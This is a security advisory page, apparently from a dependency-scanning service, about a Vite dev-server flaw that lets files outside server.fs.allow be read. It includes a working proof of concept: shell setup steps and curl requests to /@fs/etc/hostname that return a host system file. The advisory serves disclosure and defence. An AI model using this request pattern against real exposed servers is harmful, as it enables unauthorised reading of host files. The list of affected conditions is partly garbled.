npm · vite
Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine
The content of files outside server.fs setting can be returned to the browser if the project imports a file path concatenated with the root. For example, if the project references <path-to-project-root>/etc/hosts, the content of /etc/hosts was possible to be returned.
The content of files outside the server.fs.allow option can be returned to the browser when a project imports a file whose root-relative path matches an absolute path on the host. For example, referencing <project-root>/etc/hosts could make Vite return the host's /etc/hosts file.
Only apps that meet all of the following conditions are affected:
--host or the server.host option)server.fs.denyWhen Vite analyzes an in-root import, it rewrites the resolved module ID to a browser URL such as /etc/hostname. In affected versions, Vite converts that URL with fsPathFromUrl and adds the result to safeModulePaths. Because fsPathFromUrl ensures a leading slash without resolving the URL against the project root, the project URL /etc/hostname is recorded as if it were the absolute filesystem path /etc/hostname.
For a later request to /@fs/etc/hostname, the raw-filesystem middleware interprets /etc/hostname as an absolute path. The access check applies server.fs.deny, then accepts paths present in safeModulePaths before checking server.fs.allow. As a result, the request can return the host file instead of the project file that originally populated safeModulePaths.
The following example requires Linux with a readable /etc/hostname:
$ mkdir vite-safe-module-path-poc
$ cd vite-safe-module-path-poc
$ npm init -y
$ npm install vite@8.3.1
$ mkdir -p etc
$ echo 'PROJECT-DECOY\n' > etc/hostname
$ echo 'import "./etc/hostname"\n' > main.js
$ npx vite --host 127.0.0.1
In another terminal:
$ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js
200
$ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname
200
$ cmp -s response /etc/hostname && echo 'response matches host file'
response matches host file
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.